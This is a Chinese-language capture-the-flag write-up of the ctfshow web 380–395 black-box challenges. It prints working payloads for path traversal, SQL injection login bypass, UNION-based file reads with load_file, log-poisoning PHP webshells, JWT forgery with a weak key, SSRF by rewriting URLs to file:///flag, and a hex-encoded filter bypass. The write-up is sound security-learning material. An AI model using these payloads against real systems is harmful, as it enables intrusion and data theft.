记录下学习内容,题目地址: ctfshow,黑盒测试,信息收集真滴重要
web 380
开启题目,一个小型网站,四处浏览,没半点头绪,后来想到了目录扫描,结果线程最大为5否则504,看其他师傅的wp
有一个page.php页面
打开$id.php失败
猜到是file_get_contents
,id传入page
,出现关键部分
$html = file_get_contents('page_'.$id.'.php');
echo $html;
再传入flag,出现flag
web 381
一样打开page.php,变成了
打开page_$id.php失败
直接用…/…/来返回目录查看1/../../../../var/www/html/page
,虽然成功了,但没有flag页面,烦躁;找找找,突然看到了index.php源码上有个奇怪的地址
<link rel="stylesheet" href="alsckdfy/layui/css/tree.css">
打开,/alsckdfy
,出现flag
web 381,382
一样打开,/alsckdfy
,出现登入页面,直接1’ and 1=1#
注入,出现flag
web 383-386
应该是非预期,跳了挺多东西的,预期可以看看其他师傅的
题目提醒密码前2位是小写字母,后三位是数字
,猜估计是爆破,看了看还是5线程,麻了;等爆破的时候,突然看到发送给check.php
,想到前面不是有file_get_contents
读取么
直接访问page?id=1/../../../../var/www/html/alsckdfy/check
出现flag
web 387
好了,page
页面没用了,题目提示和web386一样,查看下386的check.php源码,注入不了;再次扫目录,发现clear.php
,install
,robots.txt
;robots.txt
有个debug
页面,进去发现文件读取,尝试读取/var/www/html/alsckdfy/check.php
,回显error;猜测debug页面是运行完文件,在返回回显值;直接日志访问··,运行webshell,放到User-Agent中;打算上传webshell,发现无法传参,直接读取
payload:<?php @eval(system('cat /var/www/html/alsckdfy/check.php'));?>
web 388
打开debug,发现文件无法读取,但还是能运行的,运行日志,将check.php写入文件中,再读取
<?php system('cat /var/www/html/alsckdfy/check.php > /var/www/html/1.txt')?>
web 389
打开debug,发现权限不足,抓包,发现cookie有个auth值,base64解码发现{ "alg": "HS256", "typ": "JWT" }
,打开jwt在线编码,解码发现密钥为123456
,将user
改为admin
,编码传参,获得权限,同上一样
web 390
jwt签名换了,再到处找找;发现page页面用id
来请求页面,试试sql注入,测试了几组数据猜测sql语句为select *,*,* from * where id=$_GET['id'];
直接读取文件
payload: ?id=0 union 1,1,substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255)#
web 391,392
测试了下id,发现有了waf,猜测waf是将数组过滤,将前几个为数字的放入id,其他的过滤;继续四处看看;点开一文章,发现搜索框去search.php
。开始测试,存在sql注入。奇怪的是'
和--
,#
注释符不能共存,只能%23
注释;估计是有过滤
payload: ?title=0' union select 1,1,substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255)%23
下一题一样,就是flag放在/flag
里
payload: ?title=0' union select 1,1,substr((select load_file('/flag')),1,255)%23
web 393
没有思路,看了其他师傅的wp
这题是ssrf+sql的题;先sql注入查数据库,表
0' union select 1,1,schema_name from information_schema.schemata%23
0' union select 1,1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'%23
0' union select 1,1,group_concat(column_name) from information_schema.columns where table_name='content'%23
但查不了数据,但link表中为id,title,content
打开首页最下面,一个搜索引擎其利用查询link表中的数据来跳转页面,因此可以重写数据来实现ssrf
0';update link set url='file:///flag' %23
随便打开一个搜索引擎就行
web394,395
payload_1:
存在过滤,16进制绕过,打开check.php
0';update link set url=0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870;#
payload_2
看了其他师傅的,还可以Redis攻击,将上面的16进制换掉就行,但url是int类型,最大为255,需要先改成text型,再写入
0';alter table link modify column url text;%23
利用gopherus工具获取payload,写入,得到shell